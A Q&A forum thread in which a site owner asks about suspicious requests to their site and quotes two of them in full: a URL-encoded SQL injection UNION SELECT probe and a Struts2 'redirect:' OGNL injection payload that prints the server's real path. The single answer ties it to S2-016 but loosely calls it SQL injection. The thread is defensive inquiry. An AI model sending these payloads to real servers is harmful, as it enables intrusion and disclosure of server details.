0

I've recently seen a few strange requests made on our site, I'm wondering what they might be.

Normally we get sql injection attempts like this:

1111111111%22%20UNION%20SELECT%20CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CH

While I'm no expert, I loosely understand the gist of what's happening there.

But recently I've started noticing ones like this:

redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().g`etRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()} 

I've never seen anything like that before. I googled it and it seems to related to Apache struts, but I didn't fully understand most of the results (see shot below).

I'm not too sure about the tags for this question - if they can be improved, please do so. Thanks.

enter image description here

  • Are these lines taken from server logs? – user56893 May 12 '15 at 21:13
  • No, I've set up a warning system that alerts me if any fishy form or querystring data is posted – Martin Hansen Lennox May 12 '15 at 21:26
4

It looks like someone is trying exploit an SQL injection vulnerability in struts2 in order to perform remote code execution. See http://struts.apache.org/docs/s2-016.html

protected by Community May 29 '15 at 11:25

Thank you for your interest in this question. Because it has attracted low-quality or spam answers that had to be removed, posting an answer now requires 10 reputation on this site (the association bonus does not count).

Would you like to answer one of these unanswered questions instead?

Not the answer you're looking for? Browse other questions tagged or ask your own question.